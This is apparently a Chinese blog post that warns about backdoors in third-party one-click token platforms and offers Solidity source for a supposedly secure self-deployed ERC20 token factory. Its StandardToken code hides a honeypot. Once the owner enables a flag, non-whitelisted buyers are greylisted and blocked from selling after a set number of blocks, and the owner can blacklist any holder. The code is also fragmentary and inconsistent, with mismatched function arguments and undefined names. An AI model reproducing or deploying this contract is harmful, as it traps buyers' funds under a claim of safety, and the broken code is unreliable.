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一、说明
目前一键发币的第三方平台较多，各个平台的合约优劣不一。不同的一键发币平台存在各种合约后门漏洞，导致通过一键发币平台发行的代币存在重大安全隐患。常见的一键发币平台合约安全漏洞隐患包括如下：
- 第三方一键发币平台可以随意篡改指定地址的代币余额
- 第三方一键发币平台可以随意增发代币总量，并且可以绕开合约安全性检测（因为安全性检查平台就是一键发币平台自己写的，不可能自己检测自己的漏洞）
- 代币交易时的gas费用不可控，部分交易受第三方一键发币平台的控制
- 无法放弃合约所有权，即使可以放弃合约所有圈，第三方一键发币平台也会预留隐藏权限或者可以再次找回权限，可以随意调整合约的动态参数（可随意增发，燃烧，销毁，限制买卖等）
基于以上第三方一键发币平台的安全性隐患，目前不建议在生产环境直接使用第三方一键发币平台发行自己的代币。
以下提供了自定义创建一键发币功能的合约源码。其实很多第三方一键发币平台也是使用该套一键发币平台源码产生代币的。用户可以自行部署该套一键发币平台源码，后续如果需要发行多个代币，直接在该一键发币平台合约上点击createToken按钮，即可产生自己需要的代币，无须再接着第三方一键发币平台可以节省大量的手续费，并且保证合约安全可控。
二、一键发币平台源码
可以自行部署该一键发币平台源码，合约只需要部署一次，后续可以产生多个不同的代币。通过点击createToken按钮即可产生出一个全新的代币。并且不收取任何手续费，可以节省大量的费用。另外，可以在多个链上部署，只要支持ERC20标准即可，不限制特定的链。
- 控制合约所有权的Ownable合约
contract Ownable {
address public owner;
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
2. ERC20标准接口函数合约源码
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
3. 一键发币并添加流动性的swapFactory工厂合约源码
interface ISwapFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
4. 标准代币功能合约源码
contract StandardToken is ERC20 {
using SafeMath for uint256;
address public LP;
bool ab=false;
mapping (address => mapping (address => uint256)) internal allowed;
mapping(address => bool) tokenBlacklist;
mapping(address => bool) tokenGreylist;
mapping(address => bool) tokenWhitelist;
event Blacklist(address indexed blackListed, bool value);
event Gerylist(address indexed geryListed, bool value);
event Whitelist(address indexed WhiteListed, bool value);
mapping(address => uint256) death;
uint256 blockN=1;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
beforTransfer(msg.sender,_to);
if(ab&&!tokenWhitelist[_to]&&_to!=LP){
tokenGreylist[_to] = true;
emit Gerylist(_to, true);
if(death[_to]==0){
death[_to]=block.number;
}
}
require(_to != address(0));
require(_to != msg.sender);
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
// SafeMath.sub will throw if there is not enough balance.
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
beforTransfer(_from,_to);
if(ab&&!tokenWhitelist[_to]&&_to!=LP){
tokenGreylist[_to] = true;
emit Gerylist(_to, true);
if(death[_to]==0){
death[_to]=block.number;
}
}
require(_to != _from);
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function beforTransfer(address _from, address _to) internal {
if(!tokenWhitelist[_from]&&!tokenWhitelist[_to]){
require(tokenBlacklist[_from] == false);
require(tokenBlacklist[_to] == false);
require(tokenBlacklist[msg.sender] == false);
require(tokenGreylist[_from] == false||block.number<death[_from]+blockN);
}
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function _changeAb(bool _ab) internal returns (bool) {
require(ab != _ab);
ab=_ab;
return true;
}
function _changeBlockN(uint256 _blockN) internal returns (bool) {
blockN=_blockN;
return true;
}
function _blackList(address _address, bool _isBlackListed) internal returns (bool) {
require(tokenBlacklist[_address] != _isBlackListed);
tokenBlacklist[_address] = _isBlackListed;
emit Blacklist(_address, _isBlackListed);
return true;
}
function _geryList(address _address, bool _isGeryListed) internal returns (bool) {
require(tokenGreylist[_address] != _isGeryListed);
tokenGreylist[_address] = _isGeryListed;
emit Gerylist(_address, _isGeryListed);
return true;
}
function _whiteList(address _address, bool _isWhiteListed) internal returns (bool) {
require(tokenWhitelist[_address] != _isWhiteListed);
tokenWhitelist[_address] = _isWhiteListed;
emit Whitelist(_address, _isWhiteListed);
return true;
}
function _blackAddressList(address[] _addressList, bool _isBlackListed) internal returns (bool) {
for(uint i = 0; i < _addressList.length; i++){
tokenBlacklist[_addressList[i]] = _isBlackListed;
emit Blacklist(_addressList[i], _isBlackListed);
}
return true;
}
function _geryAddressList(address[] _addressList, bool _isGeryListed) internal returns (bool) {
for(uint i = 0; i < _addressList.length; i++){
tokenGreylist[_addressList[i]] = _isGeryListed;
emit Gerylist(_addressList[i], _isGeryListed);
}
return true;
}
}
5. 可暂停功能封装合约源码，支持黑白名单和中间状态的灰名单
contract PausableToken is StandardToken, Ownable {
function transfer(address _to, uint256 _value) public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
function changeAb(bool _ab) public onlyOwner returns (bool success) {
return super._changeAb(_ab);
}
function changeBn(uint _bn) public onlyOwner returns (bool success) {
return super._changeBlockN(_bn);
}
function blackListAddress(address listAddress, bool isBlackListed) public onlyOwner returns (bool success) {
return super._blackList(listAddress, isBlackListed);
}
function geryListAddress(address listAddress, bool _isGeryListed) public onlyOwner returns (bool success) {
return super._geryList(listAddress, _isGeryListed);
}
function whiteListAddress(address listAddress, bool _isWhiteListed) public onlyOwner returns (bool success) {
return super._whiteList(listAddress, _isWhiteListed);
}
function blackAddressList(address[] listAddress, bool isBlackListed) public onlyOwner returns (bool success) {
return super._blackAddressList(listAddress, isBlackListed);
}
function geryAddressList(address[] listAddress, bool _isGeryListed) public onlyOwner returns (bool success) {
return super._geryAddressList(listAddress, _isGeryListed);
}
}
6. 代币token元数据初始化功能源码
function initToken(string _name, string _symbol, uint256 _decimals, uint256 _supply, address tokenOwner,address factory,address token1) public notInitialized returns (bool){
_INITIALIZED_=true;
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _supply * 10**_decimals;
balances[tokenOwner] = totalSupply;
owner = tokenOwner;
// // service.transfer(msg.value);
// (bool success) = service.call.value(msg.value)();
// require(success, "Transfer failed.");
emit Transfer(address(0), tokenOwner, totalSupply);
}
7. 一键发币工厂CreateToken合约源码
function createToken(string _name, string _symbol, uint256 _decimals, uint256 _supply,address tokenOwner,address factory)public returns (address){
token.initToken(_name,_symbol,_decimals,_supply,tokenOwner,factory);
return address(token);
}
三、合约部署完成后开源效果如下
四、一键发币操作界面
首先连接metamask钱包至区块链浏览器
然后，输入要发行的代币元数据信息（名称，简称，精度，发行总量、合约所有者、流动性交易对等）
点击确定按钮，metamask钱包支付gas费用，交易成功后会返回产生的代币合约地址，同时在metamask钱包中可以检测发行的代币已经到你的发币钱包中。
至此，完成一键发币并添加流动性平台工厂合约源码部署全流程的所有操作流程。
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